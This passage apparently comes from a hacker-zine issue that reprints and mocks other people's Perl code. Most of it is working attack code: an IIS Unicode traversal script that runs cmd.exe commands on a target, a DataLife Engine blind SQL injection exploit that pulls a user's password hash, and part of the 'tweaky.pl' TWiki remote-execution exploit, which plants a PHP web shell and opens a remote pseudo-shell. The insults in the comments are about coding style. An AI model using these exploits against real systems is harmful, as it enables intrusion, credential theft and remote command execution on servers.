3795 my $socket = IO::Socket::INET->new (PeerAddr => $host,
3796 PeerPort => $port,
3797 Proto => "tcp",
3798 Type=>SOCK_STREAM,
3799 ) or die "[-] Cant connect to target!\n";
3800 return $socket;
3801}
3802
3803sub my_send () {
3804 my $socket = shift;
3805 my $buf = shift;
3806 my @result;
3807
3808 print $socket $buf;
3809 select($socket);
3810 $|=1;
3811 while (<$socket>) {
3812 push (@result, $_);
3813 }
3814 # @result = <$socket>;
3815
3816 select(STDOUT);
3817
3818 return @result;
3819}
3820
3821### MAIN ###
3822 #not going to make this one lexical, I see
3823 %option =();
3824 my @result;
3825 my $target_num;
3826 my $break;
3827 my $command;
3828 my $port;
3829 my $path;
3830 # those could all go on one line!
3831 # but then your script would have less lines! o no!
3832
3833 getopts ("h:p:d:v", \%option);
3834
3835 if (!defined($ARGV[0])) {
3836 &ussage ();
3837 }
3838 if (!defined($ARGV[1])) {
3839 &ussage ();
3840 }
3841 # what..the...fuck
3842 # you moron
3843 # ussage() unless $ARGV[1]; # whatever - covers the whole block
3844
3845 if (defined($option{p})) {
3846 $port = $option{p};
3847 } else {
3848 $port = 80;
3849 }
3850 # $port = $options{'p'} || 80;
3851
3852 if (defined($option{d})) {
3853 $path = $option{d};
3854 } else {
3855 $path = "/winnt/system32/";
3856 }
3857
3858#I can't stomach much more of this...
3859
3860 $target = $ARGV[0];
3861 $break = 0;
3862 $target_num = 0;
3863
3864 $target = $ARGV[0]; # we got it the first time
3865 $port = $port; # no shit
3866 $break = 0; # clarifying?
3867 $target_num = 0; # uh..
3868
3869# let me ask you this. what kind of moron releases such shitty code
3870# without even looking over it
3871
3872 foreach my $uni (@unis) {
3873 # excuse me while I throw up
3874 print "[+] Connecting to $ARGV[0]:$port\n" if (defined($option{v}));
3875 my $socket = &connect_host($ARGV[0], $port);
3876 print "[+] Connected to $ARGV[0]:$port\n" if (defined($option{v}));
3877 print "[+] Trying $uni\n" if (defined($option{v}));
3878 @result = &my_send ($socket, "GET $uni/winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
3879 close ($socket);
3880
3881 # ok I'm back. glad I missed that
3882 foreach my $line (@result) {
3883 # we have this kickass grep command, learn it
3884 if ($line =~ /Verzeic/) {
3885 $break = 1;
3886 break;
3887 }
3888 }
3889 if ($break eq 1) {
3890 # ==, dickface
3891 print "[+] Found working string $uni\n" if (defined($option{v}));
3892 goto working;
3893 # GOTO! WOO
3894 break;
3895 } else {
3896 $target_num++;
3897 }
3898 }
3899
3900 die "[-] Sorry no working string found!\n[-] Server maybee not vunable!";
3901
3902
3903
3904working:
3905 my $socket = &connect_host($ARGV[0], $port);
3906
3907 $ARGV[1] =~ /([A-z0-9\.]+)/;
3908 $command = $1;
3909 $ARGV[1] =~s/$command//g;
3910 $ARGV[1] =~s/ /\+/g;
3911 # well isn't that interesting...
3912
3913 print "[+] Sending GET $unis[$target_nr]$path$command?$ARGV[1] HTTP/1.0\r\n\r\n";
3914 @result = &my_send ($socket, "GET $unis[$target_nr]$path$command?$ARGV[1] HTTP/1.0\r\n\r\n");
3915 close ($socket);
3916 # yuck, yuck, and yuck
3917
3918 print @result;
3919 # finally a line I like
3920### DA END ###
3921# thank god
3922
3923-[0x14] # School You: atcroft --------------------------------------------
3924
3925##### It's from 2001, so don't try any "look thats bad!" shit. Just enjoy
3926
3927#!/usr/local/bin/perl --
3928# use strict;
3929
3930if ($#ARGV < 0) {
3931 &display_usage;
3932 exit(0);
3933}
3934
3935my $datafile = $ARGV[0] || $0 . '.txt';
3936my ($height, $width, $bcharlist, @board) = &read_data($datafile);
3937my @borderchars = split('', $bcharlist);
3938
3939&display_board($width, $height, 0, @board);
3940
3941my $changes = $height * $width;
3942my $passes = 0;
3943while ($changes > 0) {
3944 $changes = 0;
3945 $passes++;
3946 for (my $y = 0; $y < $height; $y++) {
3947 for (my $x = 0; $x <= $#{$board[$y]}; $x++) {
3948 next if (&is_border($board[$y][$x]));
3949 my $sum = &count_neighbors($x, $y,
3950 $width, $height, \@board);
3951 if ($sum >= 3) {
3952 $changes++;
3953 $board[$y][$x] = $borderchars[0];
3954 }
3955 }
3956 }
3957}
3958
3959&display_board($width, $height, $passes, @board);
3960
3961sub read_data {
3962 my ($filename) = @_;
3963 my $h = 0, $w = 0, $charlist = '#';
3964 my (@board);
3965 open(DATAFILE, $filename) or die("Can't open $filename : $!\n");
3966 while (my $line = <DATAFILE>) {
3967 chomp($line);
3968 next unless (length($line));
3969 next if ($line =~ m/^#/);
3970
3971 my @parts = split(/\s*[:=]\s*/, $line, 2);
3972 $w = $parts[1] if ($parts[0] =~ m/width|x/i);
3973 $h = $parts[1] if ($parts[0] =~ m/height|y/i);
3974 $charlist = $parts[1]
3975 if ($parts[0] =~ m/border|wall|char/i);
3976 if ($parts[0] =~ m/board|screen/i) {
3977 for (my $i = 0; $i < $w; $i++) {
3978 $line = <DATAFILE>;
3979 chomp($line);
3980 @{$board[$i]} = split('', $line);
3981 }
3982 }
3983 }
3984 close(DATAFILE);
3985 return($h, $w, $charlist, @board);
3986}
3987sub display_board {
3988 my ($i, $j, $pass, @screen) = @_;
3989 printf("Pass : %d\nHeight : %d, Width : %d\nBoard : \n",
3990 $pass, $j, $i);
3991 for (my $y = 0; $y < $j; $y++)
3992 { print(join('', @{$screen[$y]}, "\n")); }
3993 print("\n");
3994}
3995sub is_border {
3996 my ($character) = @_;
3997 return(scalar(grep(/$character/, @borderchars)));
3998}
3999sub count_neighbors {
4000 local ($i, $j, $w, $h, *screen) = @_;
4001 my $ncount = 0;
4002 if ($j > 0)
4003 { $ncount++ if (&is_border($screen[$j - 1][$i])); }
4004 if ($j < ($h - 1))
4005 { $ncount++ if (&is_border($screen[$j + 1][$i])); }
4006 if ($i > 0)
4007 { $ncount++ if (&is_border($screen[$j][$i - 1])); }
4008 if ($i < $w)
4009 { $ncount++ if (&is_border($screen[$j][$i + 1])); }
4010 return($ncount);
4011}
4012sub display_usage {
4013 while (<DATA>) {
4014 s/\$0/$0/;
4015 print $_ unless (m/^__DATA__$/);
4016 }
4017}
4018__END__
4019__DATA__
4020Program execution:
4021 $0 filename
4022
4023where filename is the name of the data file to use.
4024
4025Datafile format:
4026<line> : <parameter1><seperator><parameter1_value>
4027<line> : <parameter2<seperator>parameter2_value>
4028<line> : <parameter2><seperator>
4029<line> : <dataline>
4030
4031<seperator> : <space>*['='|':']<space>*
4032<parameter1> : ['height'|'width'|'x'|'y']
4033<parameter1_value> : <number>
4034<parameter2> : ['border'|'wall'|'char']
4035<parameter2_value> : <string1>
4036<dataline> : <string2>
4037
4038<number> : <digit>+
4039<string1> : <non_whitespace>+
4040<string2> : <character>
4041
4042<digit> : (equivalent to perl regex /\d/)
4043<space> : (equivalent to perl regex /\s/)
4044<non_whitespace> : (equivalent to perl regex /\S/)
4045<character> : (matched by perl regex /./)
4046
4047Sample file:
4048x:4
4049y= 3
4050wall=#
4051screen=
4052## #
4053# #
4054# ##
4055
4056-[0x15] # Russian for the fall -------------------------------------------
4057
4058#!/usr/bin/perl
4059
4060## DataLife Engine sql injection exploit by RST/GHC
4061## (c)oded by 1dt.w0lf
4062## RST/GHC
4063## http://rst.void.ru
4064## http://ghc.ru
4065## 18.06.06
4066
4067# STRICT STRICT STRICT STRICT STRICT
4068# WARNINGS WARNINGS WARNINGS WARNINGS
4069# STRICT STRICT STRICT STRICT STRICT
4070# WARNINGS WARNINGS WARNINGS WARNINGS
4071# STRICT STRICT STRICT STRICT STRICT
4072# WARNINGS WARNINGS WARNINGS WARNINGS
4073
4074use LWP::UserAgent;
4075use Getopt::Std;
4076
4077getopts('u:n:p:');
4078
4079$url = $opt_u;
4080$name = $opt_n;
4081$prefix = $opt_p || 'dle_';
4082
4083if(!$url || !$name) { &usage; }
4084
4085$s_num = 1;
4086$|++;
4087$n = 0;
4088# step by step right?
4089&head;
4090# head();
4091print "\r\n";
4092# CAPITAL LETTERS
4093print " [~] URL : $url\r\n";
4094print " [~] USERNAME : $name\r\n";
4095print " [~] PREFIX : $prefix\r\n";
4096$userid = 0;
4097print " [~] GET USERID FOR USER \"$name\" ...";
4098$xpl = LWP::UserAgent->new() or die;
4099$res = $xpl->get($url.'?subaction=userinfo&user='.$name);
4100if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; }
4101elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; }
4102elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; }
4103if($userid != 0 ) { print " [ DONE ]\r\n"; }
4104else { print " [ FAILED ]\r\n"; exit(); }
4105
4106# please don't make me look at code like that again
4107# no further comment on that
4108
4109print " [~] USERID : $userid\r\n";
4110
4111print " [~] SEARCHING PASSWORD ... ";
4112
4113while(1)
4114{
4115if(&found(47,58)==0) { &found(96,103); }
4116# heh heh
4117$char = $i;
4118if ($char=="0")
4119 {
4120 if(length($allchar) > 0){
4121 print qq{\b [ DONE ]
4122 ---------------------------------------------------------------
4123 USERNAME : $name
4124 USERID : $userid
4125 PASSHASH : $allchar
4126 ---------------------------------------------------------------
4127 };
4128 # you know qq! Do you know it is the same as "
4129 }
4130 else
4131 {
4132 print "\b[ FAILED ]";
4133 }
4134 exit();
4135 }
4136else
4137 {
4138 $allchar .= chr($char);
4139 print "\b".chr($char)." ";
4140 }
4141$s_num++;
4142# spaghetti in the morning, spaghetti in the evening, spaghetti code EVERYWHERE
4143}
4144
4145sub found($$)
4146# prototypes? hold your horse, lone ranger!
4147 {
4148 my $fmin = $_[0];
4149 my $fmax = $_[1];
4150 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
4151# you can do return crack($fmin, $fmas); noob
4152# instead you'll mess with a non-lexical variable for the heck of it
4153
4154 $r = int($fmax - ($fmax-$fmin)/2);
4155 $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
4156 if ( &check($check) ) { &found($r,$fmax); }
4157 else { &found($fmin,$r); }
4158# I am shaking
4159 }
4160
4161sub crack($$)
4162 {
4163 my $cmin = $_[0];
4164 my $cmax = $_[1];
4165 $i = $cmin;
4166 while ($i<$cmax)
4167 {
4168 $crcheck = "=$i";
4169 if ( &check($crcheck) ) { return $i; }
4170 $i++;
4171 }
4172 # for loop, dipshit
4173
4174 $i = 0;
4175 return $i;
4176 }
4177
4178sub check($)
4179 {
4180# no reason at all to use a prototype
4181 $n++;
4182 status();
4183 $ccheck = $_[0];
4184 $xpl = LWP::UserAgent->new() or die;
4185 $res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*');
4186 if($res->as_string =~ /$name<\/td>/) { return 1; }
4187 else { return 0; }
4188 }
4189
4190sub status()
4191{
4192 $status = $n % 5;
4193 if($status==0){ print "\b/"; }
4194 if($status==1){ print "\b-"; }
4195 if($status==2){ print "\b\\"; }
4196 if($status==3){ print "\b|"; }
4197 # you can spread out this syntax a bit if you would like. You know, make it cute and all
4198 # not to mention you can use elsif
4199 # or just print "\b-" if $status == 0;
4200}
4201
4202sub usage()
4203 {
4204 &head;
4205# needs its own sub? then call it like a man. head()
4206
4207 print q(
4208 USAGE:
4209 r57datalife.pl [OPTIONS]
4210
4211 OPTIONS:
4212 -u <URL> - path to index.php
4213 -n <USERNAME> - username for bruteforce
4214 -p [prefix] - database prefix
4215
4216 E.G.
4217 r57datalife.pl -u http://server/index.php -n admin
4218 ---------------------------------------------------------------
4219 (c)oded by 1dt.w0lf
4220 RST/GHC , http://rst.void.ru , http://ghc.ru
4221 );
4222 exit();
4223 }
4224sub head()
4225 {
4226 print q(
4227 ---------------------------------------------------------------
4228 DataLife Engine sql injection exploit by RST/GHC
4229 ---------------------------------------------------------------
4230 );
4231 }
4232
4233# Too much overhead. Too much crap. A complete mess. Learn to code
4234# Learn to design
4235
4236-[0x16] # Hello s0ttle ---------------------------------------------------
4237
4238s0ttle, friend, where have you been? Taking some time off? Retreating from the scene?
4239
4240You were once a Perl darling. Learning intelligently, you built up a little list of cute scripts.
4241You learned in Perl Monks, and you contributed back to the community. Here, have a list of your
4242contributions:
4243
42442002â..01â..13 s0ttle Re: Code Review! Go Ahead, Rip It Up! Re:SoPW
42452002â..01â..01 s0ttle Managing C structs -with Perl- SoPW
42462001â..12â..28 s0ttle Re: (Ovid) Re: Assigning CGI object data Re:SoPW
42472001â..12â..28 s0ttle Assigning CGI object data SoPW
42482001â..12â..28 s0ttle Re: Help with a n Use of uninitialized value in join error message Re:SoPW
42492001â..11â..14 s0ttle Re: pattern match on entire file Re:SoPW
42502001â..11â..14 s0ttle Re: Removing data from a string with Regex Re:SoPW
42512001â..11â..11 s0ttle Re: prompting a user for input Re:SoPW
42522001â..11â..09 s0ttle Re: Comments in my code Re:Med
42532001â..11â..09 s0ttle Comments in my code Med
42542001â..10â..29 s0ttle Re: Interpolating $1 within a variable Re:SoPW
42552001â..10â..27 s0ttle Re: Interpolating $1 within a variable Re:SoPW
42562001â..10â..27 s0ttle Interpolating $1 within a variable SoPW
42572001â..10â..23 s0ttle 2nd obfu Obfu
42582001â..10â..22 s0ttle Tribute to TMTOWTDI Med
42592001â..10â..22 s0ttle Re: chmod/chflags Re:SoPW
42602001â..10â..04 s0ttle Re: how to read a 2 dim-array Re:SoPW
42612001â..10â..02 s0ttle first obfu Obfu
42622001â..09â..19 s0ttle Re: beginner syntax question Re:SoPW
42632001â..09â..19 s0ttle Re: Connection time out with net::irc Re:SoPW
42642001â..09â..17 s0ttle formatted output of localtime() SoPW
42652001â..09â..13 s0ttle Re: Template Toolkit installation problems Re:SoPW
42662001â..08â..21 s0ttle Re: begining of a file Re:SoPW
42672001â..08â..04 s0ttle Re: subs && typeglobs Re:SoPW
42682001â..08â..04 s0ttle Re: subs && typeglobs Re:SoPW
42692001â..08â..03 s0ttle Re: subs && typeglobs Re:SoPW
42702001â..08â..03 s0ttle Re: subs && typeglobs Re:SoPW
42712001â..08â..03 s0ttle subs && typeglobs SoPW
42722001â..08â..03 s0ttle Re: Recursion Re:SoPW
42732001â..06â..21 s0ttle for loop SoPW
42742001â..06â..20 s0ttle s0ttle User
4275
4276Good memories, eh? Some a little embarrassing, but you were teething.
4277
4278Here's some old s0ttle code. Picked because its newer than the rest.
4279
4280I like how you code. It's competent, and it is witty. Enthusiastic.
4281
4282#!/usr/bin/perl -w
4283
4284 ;#
4285 ;# fakelabs development
4286 ;#
4287
4288# file: chk_suid
4289# purpose: helps maintain suid/guid integrity
4290# author: s0ttle@sawbox.net/perl@s0ttle.net
4291# site: www.sawbox.net/www.s0ttle.net
4292#
4293# This program released under the same
4294# terms as perl itself
4295#
4296
4297use strict;
4298use Digest::MD5;
4299use IO::File;
4300use diagnostics; # remove after release
4301use Fcntl qw(:flock);
4302use POSIX qw(strftime);
4303
4304use constant DEBUG => 0;
4305
4306# Global variables :\
4307my @suids;
4308my $count;
4309
4310my $suidslist = (getpwuid($<))[7]."/suidslist";
4311my $suidsMD5 = (getpwuid($<))[7]."/suidsMD5";
4312my $masterMD5 = (getpwuid($<))[7]."/masterMD5";
4313
4314autoflush STDOUT 1;
4315
4316&splash;
4317sub splash{
4318
4319 print "==============================\n",
4320 " www.fakelabs.org \n",
4321 "==============================\n",
4322 " chk_suids.pl\n",
4323 "++++++++++++++----------------\n";
4324}
4325
4326opendir(ROOT,'/')
4327 || c_error("Could not open the root directory!");
4328
4329print "[01] Generating system suid/guid list.\n";
4330&find_suids(*ROOT,'/');
4331sub find_suids{
4332
4333 local (*P_FH) = shift;
4334 my $path = shift;
4335 my $content;
4336
4337 opendir(P_FH,"$path")
4338 || c_error("Could not open $path");
4339
4340 foreach $content (sort(readdir(P_FH))){
4341 next if $content eq '.' or $content eq '..';
4342 next if -l "$path$content";
4343
4344 if (-f "$path$content"){
4345 push @suids,"$path$content"
4346 if (-u "$path$content" ||
4347 -g "$path$content") && ++$count;
4348 }
4349
4350 elsif (-d "$path$content" && opendir(N_PATH,"$path$content")) {
4351 find_suids(*N_PATH,"$path$content/");
4352 }
4353
4354 else { next; }
4355 }
4356}
4357print "[02] Found $count total suid/guid files on your system.\n";
4358
4359print join "\n",@suids if DEBUG == 1;
4360
4361&suids_perm;
4362sub suids_perm{
4363
4364 my $wx_count = 0;
4365 my $ww_count = 0;
4366 my @wx_suids;
4367 my @ww_suids;
4368 my $tempfile = IO::File::new_tmpfile()
4369 || c_error("Could not open temporary file");
4370
4371 while(<@suids>){
4372
4373 chomp;
4374
4375 my ($user,$group) = (lstat)[4,5];
4376 my $mode = (lstat)[2] & 07777;
4377
4378 $tempfile->printf("%-4o %-10s %-10s %-40s\n",
4379 $mode,(getpwuid($user))[0],(getgrgid($group))[0],$_);
4380 }
4381
4382 $tempfile->seek(0,0);
4383
4384 foreach (<$tempfile>){
4385 my $perm = (split(/\s+/,$_))[0];
4386 if (($perm & 01) == 01){
4387 push @wx_suids,$_; ++$wx_count;
4388 }
4389 elsif (($perm & 02) == 00){
4390 push @ww_suids; ++$ww_count;
4391 }
4392 }
4393
4394 @ww_suids = 'none' if !@ww_suids;
4395 @wx_suids = 'none' if !@wx_suids;
4396
4397 print "[03] World writable suids found: $ww_count\n";
4398 print "=" x 50,"\n", @ww_suids, "=" x 10, "\n"
4399 if $ww_suids[0] !~/none/;
4400
4401 print "[04] World executable suids found: $wx_count\n";
4402 print "=" x 50, "\n", @wx_suids, "=" x 50,"\n"
4403 if $wx_suids[0] !~/none/;
4404
4405 cfg_check($tempfile);
4406}
4407
4408sub cfg_check{
4409
4410 my $tempfile = shift;
4411 my $lcount = 0;
4412
4413print $masterMD5,$suidsMD5,$suidslist,"\n" if DEBUG == 1;
4414
4415 foreach ($masterMD5,$suidsMD5,$suidslist){
4416 ++$lcount if !-e;
4417 }
4418
4419 $0 =~s!.*/!!;
4420
4421print $lcount,"\n" if DEBUG == 1;
4422
4423 if (($lcount != 0) && ($lcount < 3)){
4424 print "[05] Inconsistency found with cfg files, exiting.\n";
4425 }
4426
4427 elsif ($lcount == 3){
4428 print "[05] It seems this is your first time running $0.\n";
4429
4430 &n_create($tempfile);
4431 }
4432
4433 elsif ($lcount == 0){
4434 print "[05] Checking cfg and suid/guid integrity\n";
4435 sleep(2);
4436
4437 &c_suidlist($tempfile); &c_suidsmd5; &c_mastermd5;
4438 }
4439}
4440
4441sub c_suidlist{
4442
4443 my $tempfile = shift;
4444 my $slist = IO::File->new($suidslist, O_RDONLY)
4445 || c_error("Could not open $suidslist for reading");
4446
4447 flock($slist,LOCK_SH);
4448
4449 $tempfile->seek(0,0);
4450
4451 my %temp_vals;
4452 while(<$tempfile>){
4453 chomp;
4454 my ($tperm,$towner,$tgroup,$tfile) = split(/\s+/,$_,4);
4455
4456print join ':',$tperm,$towner,$tgroup,$tfile,"\n" if DEBUG == 1;
4457
4458 $temp_vals{$tfile} = [$tperm,$towner,$tgroup,$tfile];
4459 }
4460
4461 my %suid_vals;
4462 while(<$slist>){
4463 chomp;
4464 my ($sperm,$sowner,$sgroup,$sfile) = split(/\s+/,$_,4);
4465
4466print join ':',$sperm,$sowner,$sgroup,$sfile,"\n" if DEBUG == 1;
4467
4468 $suid_vals{$sfile} = [$sperm,$sowner,$sgroup,$sfile];
4469 }
4470
4471 $slist->close;
4472
4473 my $badsuids = 0;
4474 foreach my $val (sort keys %suid_vals){
4475 if ("@{$suid_vals{$val}}" ne "@{$temp_vals{$val}}"){
4476
4477 ++$badsuids &&
4478 print "[06] !WARNING! suid/guid modification(s) found! \n",
4479 "=" x 50,"\n" unless $badsuids;
4480
4481 &suidl_warn(\@{$temp_vals{$val}},\@{$suid_vals{$val}});
4482
4483 }
4484 }
4485
4486 if (!$badsuids){
4487 print "[06] $suidslist: OK \n";
4488 } else {
4489 &f_badsuids;
4490 }
4491}
4492
4493sub c_mastermd5{
4494
4495 srand;
4496
4497 my $tmd5f = POSIX::tmpnam();
4498 my $tsuf = (rand(time ^ $$)) + $<;
4499
4500 $tmd5f .= $tsuf;
4501
4502 c_error("[07] !WARNING! $tmd5f is a symlink, exiting") if -l $tmd5f;
4503
4504 my $tempmd5 = IO::File->new($tmd5f, O_WRONLY|O_CREAT)
4505 || c_error("Could not open $tmd5f for writing");
4506
4507 flock($tempmd5,LOCK_EX);
4508
4509 my $mmd5f = IO::File->new($masterMD5, O_RDONLY)
4510 || c_error("Could not open $masterMD5 for reading");
4511
4512 flock($mmd5f,LOCK_SH); chomp(my $mmd5 = <$mmd5f>); $mmd5f->close;
4513
4514 while(<@suids>){
4515
4516 chomp;
4517
4518 my ($md5f,$md5v) = md5($_);
4519
4520 $tempmd5->printf("%-40s: %-40s\n", $md5f, $md5v)
4521 if $md5f && $md5v;
4522
4523 } $tempmd5->close;
4524
4525 my $s_md5 = md5($suidsMD5);
4526 my $t_md5 = md5($tmd5f);
4527
4528 if (("$s_md5" eq "$t_md5") && ("$t_md5" eq "$mmd5")){
4529 print "[08] $masterMD5: OK \n";
4530
4531 }
4532# my $md5 = md5($suidsMD5); print "MASTER: $m_md5\n";
4533# my $t_md5 = md5($tmd5); print "TEMP: $t_md5\n";
4534
4535
4536 print "[09] Verify this is actually your masterMD5 sum: $mmd5\n";
4537 sleep(3);
4538
4539 &cleanup;
4540 &ret;
4541}
4542
4543sub suidl_warn{
4544
4545 my $tv_ref = shift;
4546 my $sv_ref = shift;
4547
4548 printf("OLD: %-4d %-10s %-10s %-40s\n",
4549 $$tv_ref[0],$$tv_ref[1],$$tv_ref[2],$$tv_ref[3]);
4550
4551 printf("NEW: %-4d %-10s %-10s %-40s\n",
4552 $$sv_ref[0],$$sv_ref[1],$$sv_ref[2],$$sv_ref[3]);
4553
4554}
4555
4556sub c_suidsmd5{
4557print "[07] $suidslist: OK \n";
4558}
4559
4560sub cleanup{
4561print "[10] Cleaning up and exiting \n";
4562}
4563
4564sub ret{
4565print "+=" x 28,"\n","s0ttle: $0 still in beta! :\\ \n";
4566}
4567#
4568# I was going to add the option to update the cfg files with any new legitimate
4569# changes, but that would make it too easy for an intruder to circumvent this whole process
4570# its not too hard to do it manually anyway :\
4571#
4572sub f_badsuids{
4573
4574 print "=" x 50,"\n","[07] Pay attention to any unknown changes shown above!\n";
4575 sleep(2);
4576
4577}
4578
4579sub n_create{
4580
4581 my $tempfile = shift;
4582
4583 print "[06] Creating: $suidslist\n"; &slst_create($tempfile);
4584 print "[07] Creating: $suidsMD5 \n"; &smd5_create;
4585 print "[08] Creating: $masterMD5\n"; &mmd5_create;
4586}
4587
4588sub slst_create{
4589
4590 my $tempfile = shift;
4591 my $slist = IO::File->new($suidslist, O_WRONLY|O_CREAT)
4592 || c_error("Could not open $suidslist for writing");
4593
4594 flock($slist,LOCK_EX);
4595
4596 $tempfile->seek(0,0);
4597
4598 while(<$tempfile>){
4599
4600 $slist->print("$_");
4601 }
4602
4603 $tempfile->close; $slist->close;
4604}
4605
4606sub smd5_create{
4607
4608 my $smd5 = IO::File->new($suidsMD5, O_WRONLY|O_CREAT)
4609 || c_error("Could not open $suidsMD5 for writing");
4610
4611 flock($smd5,LOCK_EX);
4612
4613 while(<@suids>){
4614
4615 chomp;
4616
4617 my ($md5f,$md5v) = md5($_);
4618
4619 $smd5->printf("%-40s: %-40s\n", $md5f, $md5v)
4620 if $md5f && $md5v;
4621
4622 }
4623
4624 $smd5->close;
4625}
4626
4627sub mmd5_create{
4628
4629 my $mmd5v = (md5($suidsMD5))[1];
4630 my $mmd5 = IO::File->new($masterMD5, O_WRONLY|O_CREAT)
4631 || c_error("Could not open $masterMD5 for writing");
4632
4633 flock($mmd5,LOCK_EX);
4634
4635 $mmd5->print("$mmd5v\n");
4636 $mmd5->close;
4637}
4638
4639sub md5{
4640
4641 my $suid_file = shift;
4642 my %mdb;
4643
4644 my $obj = Digest::MD5->new();
4645
4646 if ( my $suidf = IO::File->new($suid_file, O_RDONLY) ){
4647
4648 flock($suidf,LOCK_SH); binmode($suidf);
4649
4650 $obj->addfile($suidf);
4651 $mdb{$suid_file} = $obj->hexdigest;
4652 $obj->reset();
4653 $suidf->close;
4654
4655 return($suid_file,$mdb{$suid_file});
4656
4657 } else { warn("[E] Could not open $suid_file: $!\n");
4658 }
4659}
4660
4661sub c_error{
4662
4663 my $error = "@_";
4664
4665 print "ERROR: $error: $!\n";
4666 exit(0);
4667}
4668
4669More than just a coder, you were a rare ambassador of Perl to the underground. You were willing to
4670weild the power without shame. You were a hacker who could use Perl with pride, and to your
4671considerable benefit. Either that or a Perl programmer who could hack with pride, to your benefit.
4672You choose your way of looking at it.
4673
4674And then it came crashing down. What happened, s0ttle? Why did you leave us? What did you move on
4675to? A blissful idle existence? Did you get your cred and then get too busy with everything else?
4676
4677The reason this article is here is because you've decided to make an appearance on the Perl scene
4678again. You've reacquired your perlmonk.org account. We can only take this as a sign that you want
4679to come back. This is both encouraged, and now, expected. Welcome back, s0ttle.
4680
4681-[0x17] # RoMaNSoFt is TwEaKy --------------------------------------------
4682
4683#!/usr/bin/perl
4684
4685# yes! a shebang line!
4686
4687# "tweaky.pl" v. 1.0 beta 2
4688#
4689# Proof of concept for TWiki vulnerability. Remote code execution
4690# Vuln discovered, researched and exploited by RoMaNSoFt <roman@rs-labs.com>
4691#
4692# Madrid, 30.Sep.2004.
4693
4694# finally someone with a relatively short introduction "block"
4695# and it is clean and sticks to the point!
4696# that will save you a lot of hurt, I'll just tap around the edges
4697
4698require LWP::UserAgent;
4699# use it
4700# rarely is require needed, and this isn't it
4701# no, that excuse is wrong
4702# so is that one
4703# please don't defend yourself and waste all of our time
4704use Getopt::Long;
4705# but use strict!
4706
4707### Default config
4708$host = '';
4709# my $host;
4710$path = '/cgi-bin/twiki/search/Main/';
4711$secure = 0;
4712$get = 0;
4713$post = 0;
4714$phpshellpath='';
4715# singleline some of these
4716
4717$createphpshell = '(echo `perl -e \'print chr(60).chr(63)\'` ;
4718 echo \'$out = shell_exec($_GET["cmd"]." 2\'`perl -e \'print chr(62).
4719chr(38)\'`\'1");\' ; echo \'echo "\'`perl -e \'print chr(60)."pre".chr(62).
4720"\\\\$out".chr(60)."/pre".chr(62)\'`\'";\' ; echo `perl -e \'print chr(63).chr(62)\'`) | tee ';
4721
4722# christ that is a mess. quotemeta, baby
4723
4724$logfile = ''; # If empty, logging will be disabled
4725$prompt = "tweaky\$ ";
4726$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';
4727$proxy = '';
4728$proxy_user = '';
4729$proxy_pass = '';
4730$basic_auth_user = '';
4731$basic_auth_pass = '';
4732$timeout = 30;
4733$debug = 0;
4734
4735# disgusting waste of lines!
4736# at this rate they will be an endangered species!
4737
4738$init_command = 'uname -a ; id';
4739$start_mark = 'AAAA';
4740$end_mark = 'BBBB';
4741$pre_string = 'nonexistantttt\' ; (';
4742$post_string = ') | sed \'s/\(.*\)/'.$start_mark.'\1'.$end_mark.'.txt/\' ; fgrep -i -l -- \'nonexistantttt';
4743$delim_start = '<b>'.$start_mark;
4744$delim_end = $end_mark.'</b>';
4745
4746print "Proof of concept for TWiki vulnerability. Remote code execution.\n";
4747print "(c) RoMaNSoFt, 2004. <roman\@rs-labs.com>\n\n";
4748# the cutest thing in your program.
4749
4750### User-supplied config (read from the command-line)
4751$parsing_ok = GetOptions ('host=s' => \$host,
4752 'path=s' => \$path,
4753 'secure' => \$secure,
4754 'get' => \$get,
4755 'post' => \$post,
4756 'phpshellpath=s' => \$phpshellpath,
4757 'logfile=s' => \$logfile,
4758 'init_command=s' => \$init_command,
4759 'useragent=s' => \$useragent,
4760 'proxy=s' => \$proxy,
4761 'proxy_user=s' => \$proxy_user,
4762 'proxy_pass=s' => \$proxy_pass,
4763 'basic_auth_user=s' => \$basic_auth_user,
4764 'basic_auth_pass=s' => \$basic_auth_pass,
4765 'timeout=i' => \$timeout,
4766 'debug' => \$debug,
4767 'start_mark=s' => \$start_mark,
4768 'end_mark=s' => \$end_mark);
4769
4770### Some basic checks
4771&banner unless ($parsing_ok);
4772# banner() unless $parsing_ok;
4773# that's actually nice perl-english
4774# lwall style
4775
4776if ($get and $post) {
4777 print "Choose one only method! (GET or POST)\n\n";
4778 &banner;
4779}
4780
4781if (!($get or $post)) {
4782 # If not specified we prefer POST method
4783 $post = 1;
4784}
4785
4786if (!$host) {
4787 print "You must specify a target hostname! (tip: --host <hostname>)\n\n" ;
4788 &banner;
4789# no
4790}
4791
4792$url = ($secure ? 'https' : 'http') . "://" . $host . $path;
4793
4794### Checking for a vulnerable TWiki
4795&run_it ($init_command, 'RS-Labs rlz!');
4796# no
4797### Execute selected payload
4798
4799if ($phpshellpath) {
4800 &create_phpshell;
4801# no
4802 print "PHPShell created.";
4803} else {
4804 &pseudoshell;
4805# no
4806}
4807
4808### End
4809exit(0);
4810# no
4811
4812### Create PHPShell
4813sub create_phpshell {
4814 $createphpshell .= $phpshellpath;
4815# what happened to consistent underscores in variable names?
4816 &run_it($createphpshell, 'yeah!');
4817# nah!
4818}
4819
4820
4821### Pseudo-shell
4822sub pseudoshell {
4823open(LOGFILE, ">>$logfile") if $logfile;
4824open(STDINPUT, '-');
4825# make sure to test that your file opening didn't fail!
4826
4827print "Welcome to RoMaNSoFt's pseudo-interactive shell :-)\n[Type Ctrl-D or (bye, quit, exit, logout) to exit]\n\n".$prompt.$init_command."\n";
4828&run_it ($init_command);
4829print $prompt;
4830
4831while (<STDINPUT>) {
4832# STDIN is too cool for you
4833 chop;
4834# stick with chomp or be consistent with chop
4835 if ($_ eq "bye" or $_ eq "quit" or $_ eq "exit" or $_ eq "logout") {
4836# time to learn regex? why bother
4837 exit(1);
4838 }
4839
4840 &run_it ($_) unless !$_;
